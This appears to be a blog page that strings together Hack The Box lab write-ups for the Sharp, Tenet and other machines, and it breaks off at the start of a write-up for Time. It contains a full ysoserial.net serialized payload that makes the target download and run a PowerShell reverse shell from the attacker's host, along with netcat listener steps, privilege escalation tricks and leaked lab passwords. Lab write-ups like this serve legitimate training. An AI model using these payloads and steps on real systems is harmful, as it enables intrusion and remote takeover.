admin@ophiuchi:/tmp$ ls deploy.sh systemd-private-64051d8f15f4418cbb11018667bc15ad-systemd-logind.service-Y5t4mf vmware-root_667-3980363901 hsperfdata_tomcat systemd-private-64051d8f15f4418cbb11018667bc15ad-systemd-resolved.service-lBxjmi wasm-functions main.wasm systemd-private-64051d8f15f4418cbb11018667bc15ad-systemd-timesyncd.service-RVvCVh admin@ophiuchi:/tmp$ sudo -u root /usr/bin/go run /opt/wasm-functions/index.go Ready to deploy
admin@ophiuchi:/tmp$ /bin/bash -p bash-5.0# id uid=1000(admin) gid=1000(admin) euid=0(root) egid=0(root) groups=0(root),1000(admin) bash-5.0# whoami root bash-5.0# cd bash-5.0# ls user.txt bash-5.0# cd /root bash-5.0# ls go root.txt snap bash-5.0# cat root.txt 5296450d942ebf2bd9763b2431f7f1d5
Summary of knowledge
modify yaml-payload to get a reverse shell
tomcat password leak
.wasm file analyse and modify
privesc through NOPASSWD /usr/bin/go
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
OS: Windows Difficulty: Hard Points: 40 Release: 05 Dec 2020 IP: 10.10.10.219
information gathering
first use nmap as usaul
1 2 3 4 5 6 7 8 9 10
┌──(root💀kali)-[~/hackthebox/machine/sharp] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.219 PORT STATE SERVICE VERSION 135/tcp open tcpwrapped 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 8888/tcp open sun-answerbook? 8889/tcp open ddi-tcp-2? Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Enumeration
SMB on 149 and 445 is a good first port of call.
SMB enum
first run smbmap -H 10.10.10.219 which shows us the directories in the SMB share, and also the permissions that we do or do not have access to.
1 2 3 4 5 6 7 8 9 10
┌──(root💀kali)-[~/hackthebox/machine/sharp] └─# smbmap -H 10.10.10.219 [+] IP: 10.10.10.219:445 Name: localhost Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share dev NO ACCESS IPC$ NO ACCESS Remote IPC kanban READ ONLY
The kaban directory is accessible to us. We can take a note of this name too, as it may be a username for later on. We can also use smbmap with the -R flag to list out all the files and directories inside of the shares that we have access to:
┌──(root💀kali)-[~/hackthebox/machine/sharp] └─# smbmap -H 10.10.10.219 -R [+] IP: 10.10.10.219:445 Name: localhost Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share dev NO ACCESS IPC$ NO ACCESS Remote IPC kanban READ ONLY .\kanban\* dr--r--r-- 0 Sat Nov 14 13:57:04 2020 . dr--r--r-- 0 Sat Nov 14 13:57:04 2020 .. fr--r--r-- 58368 Sat Nov 14 13:57:04 2020 CommandLine.dll fr--r--r-- 141312 Sat Nov 14 13:57:04 2020 CsvHelper.dll fr--r--r-- 456704 Sat Nov 14 13:57:04 2020 DotNetZip.dll dr--r--r-- 0 Sat Nov 14 13:57:59 2020 Files fr--r--r-- 23040 Sat Nov 14 13:57:04 2020 Itenso.Rtf.Converter.Html.dll fr--r--r-- 75776 Sat Nov 14 13:57:04 2020 Itenso.Rtf.Interpreter.dll fr--r--r-- 32768 Sat Nov 14 13:57:04 2020 Itenso.Rtf.Parser.dll fr--r--r-- 19968 Sat Nov 14 13:57:04 2020 Itenso.Sys.dll fr--r--r-- 376832 Sat Nov 14 13:57:04 2020 MsgReader.dll fr--r--r-- 133296 Sat Nov 14 13:57:04 2020 Ookii.Dialogs.dll fr--r--r-- 2558011 Sat Nov 14 13:57:04 2020 pkb.zip dr--r--r-- 0 Sat Nov 14 13:57:04 2020 Plugins fr--r--r-- 5819 Sat Nov 14 13:57:04 2020 PortableKanban.cfg fr--r--r-- 118184 Sat Nov 14 13:57:04 2020 PortableKanban.Data.dll fr--r--r-- 1878440 Sat Nov 14 13:57:04 2020 PortableKanban.exe fr--r--r-- 31144 Sat Nov 14 13:57:04 2020 PortableKanban.Extensions.dll fr--r--r-- 2080 Sat Nov 14 13:57:04 2020 PortableKanban.pk3 fr--r--r-- 2080 Sat Nov 14 13:57:04 2020 PortableKanban.pk3.bak fr--r--r-- 34 Sat Nov 14 13:57:04 2020 PortableKanban.pk3.md5 fr--r--r-- 413184 Sat Nov 14 13:57:04 2020 ServiceStack.Common.dll fr--r--r-- 137216 Sat Nov 14 13:57:04 2020 ServiceStack.Interfaces.dll fr--r--r-- 292352 Sat Nov 14 13:57:04 2020 ServiceStack.Redis.dll fr--r--r-- 411648 Sat Nov 14 13:57:04 2020 ServiceStack.Text.dll fr--r--r-- 1050092 Sat Nov 14 13:57:04 2020 User Guide.pdf .\kanban\Plugins\* dr--r--r-- 0 Sat Nov 14 13:57:04 2020 . dr--r--r-- 0 Sat Nov 14 13:57:04 2020 ..
To retrieve all of the files and save it to our machine, we can use
1
smbget -R smb://10.10.10.219/kanban
We downloaded some stuff for Windows, which may have to (de)compile. Before going to a Windows VM, however, I’d rather read through the files and docs and see if there are any quick and easy ways
Kaban Files
use ack to search for strings that we think may be helpful - username, password, port, email, etc.
Lars ID: 0628ae1de5234b81ae65c246dd2b4a21 Encrypted Password: "Ua3LyPFM175GN8D3+tqwLA=="
Read the Docs
before trying to reverse engineer the .exe file to find out how the passwords are hashed, it’s best to read the user guide that accompanied these SMB files: firefox “User Guide.pdf”
Some important notes I take from reading the docs:
page 1: As the program is ‘portable’, it’s at our mercy if we change config files
page 3: Blank passwords shouldn’t be used - which says to me, it CAN be used but isn’t advised
pages 11: There is the only one default user: “Administrator” with blank password.
page 18: suggests that if you forget your password, just take the portable .exe to a different directory and try to execute it as Admin?
pp 22: “Passwords are hidden by default in Setup/Users tab.”
Reading the docs, it seems like need to relocate to a Windows VM, sign in as Administrator,and try and find the decrypted passwords that may be waiting in Users?
zipped the entire directory that we downloaded from the SMB share, and moved it to my windows VM.
Sign in as Admin
When start the .exe, this interesting pop up let’s know that data from a pk3.bak is recovered. Intresting
when try to sign in as Admin with a blank password, don’t sign in! So much for an easy ride.
Config Manipulation
return back to that first pop up: that the data was recovered from the pk3.bak file. When we open it, we can see it’s the same file we got the encrypted passwords from earlier
If the .exe calls on this backup file to restore it’s own configurations, we may be able to remove the existing password fields. It may possibly let us sign straight in - let’s try.
What we need to do is remove this entire directory and the un-zip it fresh again. Now go and manipulate the pk3.bak file.
If we open the pk3.bak file in notepad, and remove this value for the password so it shows we should gain access . Be sure to Save the file as “All Files”, and let it replace any file it wants.
Now, if we run the .exe and let it call on the pk3 backup, it will load the “blank password” and let’s us sign in as Administrator
Password Hunt
From our notes earlier, we gathered that we need to find the Users tab, as this is where we might find a password. Click on the cog for setup. Then move to the Users tab
we get the password for Lars: G123HHrth234gRG
Make Lars Admin
Before we go and take these creds back to the SMB share, to see if we have access to anything new, let’s experiment with making Lars admin.
Delete the directory for the exe again. Unzip a fresh install, and edit the pk4.bak file again to change Lars to Admin
And what do you know, if we make Lars admin in the config file, sign in, and look at the passwords again, we get the Admin’s too: G2@$btRSHJYTarg (spolier: we don’t do much with the admin’s password)
Test the Creds
Armed with credentials, we can begin a second round of enumeration back in our Kali VM
1 2 3
#users;passwords administrator : "G123HHrth234gRG" lars : "G2@$btRSHJYTarg"
If we put these into a respective users and passwords list in kali, and then run crackmapexec we can see if we have any valid creds:
┌──(root💀kali)-[~/hackthebox/machine/sharp] └─# smbmap -u lars -p G123HHrth234gRG -H 10.10.10.219 -R [+] IP: 10.10.10.219:445 Name: localhost Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share dev READ ONLY .\dev\* dr--r--r-- 0 Sun Nov 15 06:30:13 2020 . dr--r--r-- 0 Sun Nov 15 06:30:13 2020 .. fr--r--r-- 5632 Sun Nov 15 05:25:01 2020 Client.exe fr--r--r-- 70 Sun Nov 15 08:59:02 2020 notes.txt fr--r--r-- 4096 Sun Nov 15 05:25:01 2020 RemotingLibrary.dll fr--r--r-- 6144 Mon Nov 16 06:55:44 2020 Server.exe IPC$ READ ONLY Remote IPC .\IPC$\* fr--r--r-- 3 Sun Dec 31 19:03:58 1600 InitShutdown fr--r--r-- 4 Sun Dec 31 19:03:58 1600 lsass fr--r--r-- 3 Sun Dec 31 19:03:58 1600 ntsvcs fr--r--r-- 3 Sun Dec 31 19:03:58 1600 scerpc fr--r--r-- 1 Sun Dec 31 19:03:58 1600 Winsock2\CatalogChangeListener-364-0 fr--r--r-- 3 Sun Dec 31 19:03:58 1600 epmapper fr--r--r-- 1 Sun Dec 31 19:03:58 1600 Winsock2\CatalogChangeListener-1e4-0 fr--r--r-- 3 Sun Dec 31 19:03:58 1600 LSM_API_service fr--r--r-- 3 Sun Dec 31 19:03:58 1600 eventlog fr--r--r-- 1 Sun Dec 31 19:03:58 1600 Winsock2\CatalogChangeListener-190-0 fr--r--r-- 3 Sun Dec 31 19:03:58 1600 atsvc fr--r--r-- 4 Sun Dec 31 19:03:58 1600 wkssvc fr--r--r-- 1 Sun Dec 31 19:03:58 1600 Winsock2\CatalogChangeListener-428-0 fr--r--r-- 3 Sun Dec 31 19:03:58 1600 W32TIME_ALT fr--r--r-- 4 Sun Dec 31 19:03:58 1600 srvsvc fr--r--r-- 1 Sun Dec 31 19:03:58 1600 vgauth-service fr--r--r-- 1 Sun Dec 31 19:03:58 1600 Winsock2\CatalogChangeListener-254-0 fr--r--r-- 1 Sun Dec 31 19:03:58 1600 Winsock2\CatalogChangeListener-274-0 fr--r--r-- 1 Sun Dec 31 19:03:58 1600 PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER fr--r--r-- 1 Sun Dec 31 19:03:58 1600 PSHost.132546763363573536.2940.DefaultAppDomain.wsmprovhost kanban NO ACCESS
Looks like we’re gonna zip this new downloaded dev directory and pop it over to our Windows VM again
De-compiling
To figure out what these binaries are doing, we need to recompile them. dnspy is one such tool for decompile .exes: https://github.com/dnSpy/dnSpy
Once you have dnspy, open up client.exe and start opening up the tabs on the left
The tab we’re looking for is called remote sample, as this contains some interesting creds just hanging out
The key information is that we now have creds for the service on port 8888, which we found earlier in our nmap scan. We also have the directory/API to call on when we make the request too (SecretSharpDebugApp……)
debug : “SharpApplicationDebugUserPassword123!”
In Search of an Exploit
In this same dnspy tab, we can take the top string “Remoting.Channels.Tcp” and google it and ask for an exploit. The third option on google is a github with a possible exploit: https://github.com/tyranid/ExploitRemotingService
An excellent pre-compiled can be found here: https://github.com/parteeksingh005/ExploitRemotingService_Compiled
Compile the Exploit
compile this github exploit in visual studio community.
If it’s too difficult to make a working binary, I’d suggest you use the pre-compiled binary above
Install the necessary libraries that visual studio asks for, and then traverse around the directories and files on the left until you find ExploitRemotingService.csproj.
Click build and watch the output, which should tell you where the resultant client .exe is located.
Create a reverse shell
We need to complete a number of steps here, which aren’t complicated but do need to be in a particular order:
Download python for windows, and start a python web server: python -m SimpleHTTPServer 80
Download netcat for windows and listen on the port for a reverse shell: nc.exe -lvp 4321
Download a nishang reverse shell, save it, and add this one-liner at the end of the file to have the victim execute the reverse shell: Invoke-PowerShellTcp -Reverse -IPAddress [Your IP] -Port [Your listner port]
Produce a serialised reverse shell by downloading Yososerial
Connect to the victim machine via the binary we compiled, with the attached the commands for a reverse shell.
The first two steps are easy, so let’s focus on the last two.
ysoserial.net
We can find Yososerial here: https://github.com/pwntester/ysoserial.net/releases/download/v1.34/ysoserial-1.34.zip
What we’re going to do here is produce a serialised command to reach into our web server and grab the reverse shell:
We’re now going to take the long output and include it to the binary we built.
Remote connection .exe
And now let’s run the binary with the serialised output:
1
ExploitRemotingService.exe -s --user=debug --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAGsvYyBwb3dlcnNoZWxsIC1jIElFWChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKCdodHRwOi8vMTAuMTAuMTQuNS9JbnZva2UtUG93ZXJTaGVsbFRjcC5wczEnKQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL
1 2 3
System.InvalidCastException: Unable to cast object of type'System.Collections.Generic.SortedSet`1[System.String]' to type'System.Runtime.Remoting.Messaging.IMessage'. at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel) at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)
Ignore the error output. What you want to focus on is your python web server. We should see the victim machine pick up our reverse shell file.
1 2
Serving HTTP on 0.0.0.0 port 80 ... 10.10.10.219 - - [10/Jan/2021 01:57:04] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
And we have a shell as Lars
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
D:\1.pentesttool\内网渗透>nc.exe -lvp 4321 listening on [any] 4321 ... connect to [10.10.14.5] from DESKTOP-9LSPC40 [10.10.10.219] 49678 Windows PowerShell running as user lars on SHARP Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32>whoami sharp\lars PS C:\Windows\system32> net user
User accounts for \\SHARP
------------------------------------------------------------------------------- Administrator debug DefaultAccount Guest lars WDAGUtilityAccount The command completed successfully.
PS C:\users\lars\desktop> type user.txt dc4569514afab6cd583ad1259b69eb38
Lars Shell
We can get the user flag and then enumerate the machine to find a way to escalate our privileges.In Lars’ Documents, directory there’s some stuff to do with wcf.
Let’s bring the files back onto our Windows VM, and read them.
Back on our windows VM, we can load the Dev share up:
1 2 3 4 5
C:\Users\Administrator>net use X: \\10.10.10.219\dev 为“10.10.10.219”输入用户名: lars 输入 10.10.10.219 的密码: 命令成功完成。 #Puts lars and his password in: G123HHrth234gRG
And if you look in your Windows VM network, the victim’s dev SMB share will be there waiting as DriveX
Exploring WCF
If we open up the .sln file that was in the WCF directory, we can read how it works in Visual Studio
We can look further into the Client’s main function
This seems to connect to port 8889 running on the victim machine, which we will assume is a service running as a privileged user.
The plan is then to add some malicious code for a reverse shell, re-compile this into a binary and upload it to the victim, and then execute it to receive a privileged shell.
Build the Exploit
We can add a line underneath the last console.Write line . This will repeat the same way we got the User shell.
Then build the solution, and note the directories that the client and remote .dll are.
Transfer II
Unfortunately, I wasn’t able to just chuck these files back into the SMB share we networked too.However I didn’t try very hard to make it work.
Instead, I coped the client and wcf remote dll back into the directory where I set up my python web server, and then pulled both of these onto the victim machine
D:\1.pentesttool\内网渗透>nc.exe -lvp 4322 listening on [any] 4322 ... connect to [10.10.14.5] from DESKTOP-9LSPC40 [10.10.10.219] 49692 Windows PowerShell running as user SHARP$ on SHARP Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32>whoami nt authority\system PS C:\Windows\system32> cd /users/administrator/desktop PS C:\users\administrator\desktop> dir
OS: Linux Difficulty: Medium Points: 30 Release: 16 Jan 2021 IP: 10.10.10.223
information gathering
first use nmap as usaul
1 2 3 4 5 6
┌──(root💀kali)-[~/hackthebox/machine/tenet] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.223 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
WEBSITE
It’s just a Default page :/ nothing there, let’s add tenet.htb to our /etc/hosts file
Yep, there’s a vhost running there and its tenet.htb, Let’s enum there for sometime
I just scrolled down and got a Recent comments section, when I click that It takes me to the comments page
So note here a user commented, “did you remove the sator php file and the backup?”
also we got a username (neil) here take a note of it 🙂
I enumed for sometime and stucked here for sometime, they’re saying we migrating, so looks like there’s another vhost and It would be sator coz the user talking about it
So I added sator.tenet.htb to my /etc/hosts
It worked 🙂 but now I’m trying to find that php backup file, so I got 404 here. let me back when I find that file :/
1
http://sator.tenet.htb/sator.php
Somehow I managed to find the file but I can’t able to read it :/
When I added .bak to the url, I can able to download it 😀
┌──(root💀kali)-[~/hackthebox/machine/tenet] └─# nc -lvp 5555 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::5555 Ncat: Listening on 0.0.0.0:5555 Ncat: Connection from 10.10.10.223. Ncat: Connection from 10.10.10.223:40482. id uid=33(www-data) gid=33(www-data) groups=33(www-data) whoami www-data python -c 'import pty; pty.spawn("/bin/bash")' You also have python3 installed, you can run 'python3' instead.
python3 -c 'import pty; pty.spawn("/bin/bash")' www-data@tenet:/var/www/html$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@tenet:/var/www/html$ ls ls index.html sator.php shell.php wordpress revshell.php sator.php.bak users.txt
WWW-DATA to USER
Remember this is a wordpress site so we need to find credentials based on that,
So as I said we need to enum based on wordpress name, then I got creds for the user neil in /var/www/html/wordpress folder and filename “wp-config.php”
www-data@tenet:/var/www/html/wordpress$ cat wp-config.php cat wp-config.php <?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don't have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://wordpress.org/support/article/editing-wp-config-php/ * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** MySQL database username */ define( 'DB_USER', 'neil' ); /** MySQL database password */ define( 'DB_PASSWORD', 'Opera2112' ); /** MySQL hostname */ define( 'DB_HOST', 'localhost' ); /** Database Charset to use in creating database tables. */ define( 'DB_CHARSET', 'utf8mb4' ); /** The Database Collate type. Don't change this ifin doubt. */ define( 'DB_COLLATE', '' );
/**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to login again. * * @since 2.6.0 */ define( 'AUTH_KEY', 'QiuK;~(mBy7H3y8G;*|^*vGekSuuxKV$:Tc>5qKr`T}(t?+`r.+`gg,Ul,=!xy6d' ); define( 'SECURE_AUTH_KEY', 'x3q&hwYy]:S{l;jDU0D&./@]GbBz(P~}]y=3deqO1ZB/`P:GU<tJ[v)4><}wl_~N' ); define( 'LOGGED_IN_KEY', 'JrJ_u34gQ3(x7y_Db8`9%@jq<;{aqQk(Z+uZ|}M,l?6.~Fo/~Tr{0bJIW?@.*|Nu' ); define( 'NONCE_KEY', '=z0ODLKO{9K;<,<gT[f!y_*1QgIc;#FoN}pvHNP`|hi/;cwK=vCwcC~nz&0:ajW#' ); define( 'AUTH_SALT', '*.;XACYRMNvA?.r)f~}+A,eMke?/i^O6j$vhZA<E5Vp#N[a{YL TY^-Q[X++u@Ab' ); define( 'SECURE_AUTH_SALT', 'NtFPN?_NXFqW-Bm6Jv,v-KkjS^8Hz@BIcxc] F}(=v1$B@F/j(`b`7{A$T{DG|;h' ); define( 'LOGGED_IN_SALT', 'd14m0mBP eIawFxLs@+CrJz#d(88cx4||<6~_U3F=aCCiyN|]Hr{(mC5< R57zmn' ); define( 'NONCE_SALT', 'Srtt&}(~:K(R(q(FMK<}}%Zes!4%!S`V!KSk)Rlq{>Y?f&b`&NW[INM2,a9Zm,SH' );
/**#@-*/
/** * WordPress Database Table prefix. * * You can have multiple installations in one database if you give each * a unique prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'wp_';
/** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. * * For information on other constants that can be used for debugging, * visit the documentation. * * @link https://wordpress.org/support/article/debugging-in-wordpress/ */ define( 'WP_DEBUG', false );
/* That's all, stop editing! Happy publishing. */ /** Absolute path to the WordPress directory. */ if ( ! defined( 'ABSPATH' ) ) { define( 'ABSPATH', __DIR__ . '/' ); } /** Sets up WordPress vars and included files. */ require_once ABSPATH . 'wp-settings.php';
┌──(root💀kali)-[~/hackthebox/machine/tenet] └─# ssh neil@10.10.10.223 The authenticity of host '10.10.10.223 (10.10.10.223)' can't be established. ECDSA key fingerprint is SHA256:WV3NcHaV7asDFwcTNcPZvBLb3MG6RbhW9hWBQqIDwlE. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.223' (ECDSA) to the list of known hosts. neil@10.10.10.223's password: Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)
System information as of Mon Jan 18 04:51:48 UTC 2021
System load: 0.0 Processes: 176 Usage of /: 15.4% of 22.51GB Users logged in: 0 Memory usage: 14% IP address for ens160: 10.10.10.223 Swap usage: 0%
0 packages can be updated. 0 of these updates are security updates.
Last login: Thu Dec 17 10:59:51 2020 from 10.10.14.3 neil@tenet:~$ id uid=1001(neil) gid=1001(neil) groups=1001(neil) neil@tenet:~$ whoami neil neil@tenet:~$ ls user.txt neil@tenet:~$ cat user.txt b7ec0d7ccbebbfaf18eb70dc14bce4f7
and we got user.txt
USER to ROOT
when I tried sudo -l it showed me neil(user) can run the file “/usr/local/bin/enableSSH.sh”
1 2 3 4 5 6
neil@tenet:~$ sudo -l Matching Defaults entries for neil on tenet: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
User neil may run the following commands on tenet: (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
So that’s the thing we need to use to privesc, Here’s that file
So by running this we can add our .pub key to root’s authorized_keys 🙂
privesc was pretty simple 😀
So I created a simple script to add my pub key to “/root/.ssh/authorized_keys”
also I created a loop here to run it multiple times
root.sh
1 2 3 4
whiletrue do echo"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMR1r7B7aiEe6j+wBsVumAFqFXCiqw2iSrcg1S7rC1BdlVqr8YfWnT6e/e3+TAJk9idtLz/wN2MkupWtI1ddtNTJz31RQb0WMGjq7p8Usg0uIYhQH0PTN/GmPXDhqLIPcbTnNQMcV2PnwM07eXxQH0+s9rqVO8cR2z2f35bKe3WrHNnT7NwfOoWqNJxh+V8OGgfF8LhS0E46I6co76MJAIsX24Zs9r/dY+JPOlJlS3K2Kf3xSfPAScQeWip1WYY9depVuQywk12kOUikzGNjlQ4phNba47VjfycyV34cLw0/vQcDv5hMCfaK+hoE5rBXysnVx/f3n3zRYMLomgveQUCLBYUwJPE2t0VzeeX4W9wxrAOl2Njx5TI4cEFnmlp/6lO/iK+aC6BSBRxU19jS2fUchiN9PMgLSYGzhuIxOLvvd9AlaOYPNM7a5AfjzzO+gd1fv/Mb9EIZCKibtvpHp0eomnSDcDz/b9FNpbvg6V5NBVy2VaufcRbiBDD6cTS00= root@kali" | tee /tmp/ssh-* done
create this file on /home/neil directory
Listen here we need 3 terminals to root
To run our root.sh file
To run that enableSSH.sh file (make sure run it as sudo)
To log in as root
You need to do this multiple times, I tried it more than 25 times then I got root shell
1 2 3 4
for i in {1..10000} do sudo enableSSH.sh done
many people trying this so don’t get angry try it more time sure you’ll get root shell 😀 or reset it and try again
root@kali:~/hackthebox/machine/time# nmap -sV -v -p- 10.10.10.214 --min-rate=10000 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
port 80
There is a simple JSON Beautifier and Validator. Let’s try something Simple means “test” in Beautifier. It’s said null. Let’s try in Validator and he also in beta testing. It’s give some error.
1
